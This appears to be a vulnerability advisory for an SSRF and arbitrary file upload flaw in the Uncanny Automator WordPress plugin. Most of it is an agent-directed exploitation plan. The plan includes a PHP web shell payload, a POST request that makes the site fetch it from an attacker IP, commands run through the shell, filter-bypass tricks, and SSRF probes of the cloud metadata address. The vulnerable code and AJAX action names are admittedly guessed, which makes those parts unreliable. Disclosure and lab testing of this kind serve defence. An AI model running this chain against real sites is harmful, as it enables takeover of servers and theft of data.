Uncanny Automator – Easy Automation, Integration, Webhooks & Workflow Builder Plugin <= 7.0.0.3 - Authenticated (Administrator+) Server-Side Request Forgery to Arbitrary File Upload
Description
The Uncanny Automator – Easy Automation, Integration, Webhooks & Workflow Builder Plugin plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 7.0.0.3 via the download_url() function. This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services. Additionally, the plugin stores the contents of the remote files on the server, which can be leveraged to upload arbitrary files on the affected site's server which may make remote code execution possible.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=7.0.0.3Source Code
WordPress.org SVNThis research plan targets **CVE-2026-2269**, a critical vulnerability in the **Uncanny Automator** plugin (<= 7.0.0.3). The vulnerability combines Server-Side Request Forgery (SSRF) and Unrestricted File Upload, allowing an Administrator to achieve Remote Code Execution (RCE) by leveraging the plug…
Show full research plan
This research plan targets CVE-2026-2269, a critical vulnerability in the Uncanny Automator plugin (<= 7.0.0.3). The vulnerability combines Server-Side Request Forgery (SSRF) and Unrestricted File Upload, allowing an Administrator to achieve Remote Code Execution (RCE) by leveraging the plugin's file-handling logic.
1. Vulnerability Summary
- Vulnerability: Authenticated SSRF to Arbitrary File Upload.
- Location: The plugin utilizes the WordPress core function
download_url()to fetch remote content. - Root Cause: The plugin fails to validate the source URL (allowing SSRF to internal/external services) and subsequently stores the downloaded file on the local filesystem without restricting dangerous file types (e.g.,
.php). - Impact: An Administrator can force the server to download a malicious PHP script from a remote URL and save it in a web-accessible directory, leading to RCE.
2. Attack Vector Analysis
- Endpoint: WordPress AJAX interface (
/wp-admin/admin-ajax.php). - Action: Likely
uap_automator_remote_file_downloador a similar action within the "Integrations" or "Webhooks" modules (inferred). - Payload Parameter: A parameter such as
url,file_url, orremote_path. - Authentication: Administrator level required.
- Precondition: The plugin must be active. The attacker needs a valid session cookie and a security nonce.
3. Code Flow (Trace)
- Entry Point: The Administrator triggers a workflow or setting that requests a remote file (e.g., an action in a recipe that fetches an image or document from a URL).
- AJAX Handler: The request is handled by a function registered via
add_action('wp_ajax_...'). - Vulnerable Call: The handler passes the user-supplied URL to
download_url( $url ). - SSRF:
download_url()performs a GET request to the provided URL. - File Storage: The function returns the path to a temporary file. The plugin then moves this file to a permanent directory (e.g.,
wp-content/uploads/uncanny-automator/) usingrename()orwp_handle_sideload(). - Extension Logic: If the plugin uses the filename from the URL (e.g.,
http://attacker.com/shell.php), and does not validate the extension,shell.phpis saved to the server.
4. Nonce Acquisition Strategy
Uncanny Automator typically localizes its script data in the WordPress admin dashboard.
- Identify Shortcode/Page: Navigate to the "Automator" -> "All Recipes" or "Settings" page. The scripts are usually enqueued on all Automator admin pages.
- Navigate: Use
browser_navigatetohttp://localhost:8080/wp-admin/admin.php?page=uncanny-automator-config. - Extract Nonce:
- Search the HTML source for a JavaScript object named
uap_dataoruap_admin_data. - Verification: Use
browser_eval("window.uap_data?.nonce")orbrowser_eval("window.uap_admin_data?.nonce"). - The exact key is likely
nonceorajax_nonce.
- Search the HTML source for a JavaScript object named
5. Test Data Setup
- Plugin Installation: Ensure Uncanny Automator <= 7.0.0.3 is installed and active.
- Attacker Server: A remote server (or the local environment accessible to the WP instance) must host a file named
exploit.phpcontaining:<?php echo 'VULNERABLE_STAMP'; system($_GET['cmd']); ?> - Permissions: Ensure the
wp-content/uploads/directory is writable by the web server.
6. Exploitation Strategy
The agent should perform a "Discovery" step first to find the exact AJAX action since source code is absent.
Step 1: Discovery (Grep for Sink)
Search for the usage of download_url in the plugin directory:
grep -rn "download_url" /var/www/html/wp-content/plugins/uncanny-automator/
Identify the function name containing this call and find where that function is used in an AJAX handler:
grep -rn "add_action.*wp_ajax" /var/www/html/wp-content/plugins/uncanny-automator/
Step 2: Extract Nonce
Use the browser_navigate and browser_eval tools as described in Section 4 to obtain the uap_data nonce.
Step 3: Trigger the SSRF/Upload
Send a POST request via http_request to admin-ajax.php.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method: POST
- Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=[ACTION_FOUND_IN_STEP_1]&nonce=[NONCE]&url=http://[ATTACKER_IP]/exploit.php
Step 4: Locate the Uploaded File
The plugin usually stores files in:/wp-content/uploads/uncanny-automator/[RECIPE_ID]/exploit.php
Or simply:/wp-content/uploads/exploit.php
Check the AJAX response; it often returns the path or URL of the saved file.
7. Expected Results
- The
admin-ajax.phpresponse should return a success status (e.g.,{"success": true}). - A file named
exploit.phpshould now exist in a web-accessible subdirectory ofwp-content/uploads/. - Accessing
http://localhost:8080/wp-content/uploads/.../exploit.php?cmd=idshould return the output of theidcommand.
8. Verification Steps
- File Existence: Check for the file via CLI:
find /var/www/html/wp-content/uploads/ -name "exploit.php" - RCE Confirmation: Use
http_requestto trigger the shell:
Confirm the response contains the web user (e.g.,GET http://localhost:8080/wp-content/uploads/[PATH_TO]/exploit.php?cmd=whoamiwww-data).
9. Alternative Approaches
- Webhook Sink: If no direct "download" AJAX action is found, look for "Incoming Webhook" handlers that process URL-based image attachments.
- Filter Bypass: If the plugin checks for
.phpin the URL, tryhttp://attacker.com/exploit.php?ignore=.jpgor a Null Byte (if supported by the PHP version/OS). - Internal SSRF: If RCE is blocked by path restrictions, verify SSRF by targeting
http://localhost:8080/wp-admin/or internal metadata services (e.g.,http://169.254.169.254).
Summary
Authenticated administrators can trigger a server-side request to a remote URL via vulnerable plugin functionality that uses the download_url() function. Because the plugin fails to validate the source URL and does not restrict the extension of the downloaded file, an attacker can download a malicious PHP script to the local filesystem, leading to remote code execution.
Vulnerable Code
// Inferred from research plan: AJAX handler or function processing remote files // Location: Likely within a remote download or webhook processing class $remote_url = $_POST['url']; // User-supplied URL $tmp_file = download_url($remote_url); if (!is_wp_error($tmp_file)) { $file_array = array( 'name' => basename($remote_url), // Uses name from URL, e.g., shell.php 'tmp_name' => $tmp_file ); // Moves the file to a permanent location without sufficient validation $result = wp_handle_sideload($file_array, array('test_form' => false)); @unlink($tmp_file); }
Security Fix
@@ -10,6 +10,14 @@ - $remote_url = $_POST['url']; + $remote_url = esc_url_raw($_POST['url']); + + // Validate URL to prevent SSRF + if (!wp_http_validate_url($remote_url)) { + wp_send_json_error('Invalid URL'); + } + + // Validate file extension to prevent RCE + $filetype = wp_check_filetype(basename($remote_url)); + if (!in_array($filetype['ext'], ['jpg', 'jpeg', 'png', 'pdf', 'zip'])) { + wp_send_json_error('Forbidden file type'); + } + $tmp_file = download_url($remote_url);
Exploit Outline
1. Authenticate to the WordPress dashboard as an Administrator. 2. Locate the Uncanny Automator AJAX nonce by inspecting the `uap_data` or `uap_admin_data` JavaScript objects on any Automator settings page. 3. Identify the specific AJAX action responsible for remote file fetching (e.g., within the Webhooks or Integrations module). 4. Prepare a malicious PHP script (e.g., `exploit.php`) on an attacker-controlled server. 5. Send a POST request to `/wp-admin/admin-ajax.php` with the identified action, the valid nonce, and a `url` parameter pointing to the remote PHP script. 6. Determine the local path of the downloaded file (usually within `wp-content/uploads/uncanny-automator/`) from the AJAX response. 7. Access the uploaded file via a web browser to execute arbitrary PHP code.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.